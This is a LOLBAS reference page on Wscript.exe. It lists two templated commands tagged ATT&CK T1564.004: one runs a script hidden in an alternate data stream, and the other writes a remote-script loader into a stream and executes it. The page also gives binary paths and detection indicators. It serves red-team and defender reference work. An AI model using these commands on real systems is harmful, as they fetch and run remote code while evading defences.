LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Wscript.exe

View source

Used by Windows to execute scripts

02COMMAND EXAMPLES
01ATT&CK TECHNIQUES
08DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

2 examples

ADS2

EXAMPLE 01T1564.004

Execute script stored in an alternate data stream

COMMAND
wscript //e:vbscript {PATH}:script.vbs
USE CASE
Execute hidden code to evade defensive counter measures
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · WSH
EXAMPLE 02T1564.004

Download and execute script stored in an alternate data stream

COMMAND
echo GetObject("script:{REMOTEURL:.js}") > {PATH_ABSOLUTE}:hi.js && wscript.exe {PATH_ABSOLUTE}:hi.js
USE CASE
Execute hidden code to evade defensive counter measures
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
02 / ON DISK

Known paths

C:\Windows\System32\wscript.exe
C:\Windows\SysWOW64\wscript.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

8 resources

Indicators & detection notes

  • IOC

    Wscript.exe executing code from alternate data streams

  • IOC

    DotNet CLR libraries loaded into wscript.exe

  • IOC

    DotNet CLR Usage Log - wscript.exe.log

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Oddvar Moe@oddvarmoe
SaiLay(valen)@404death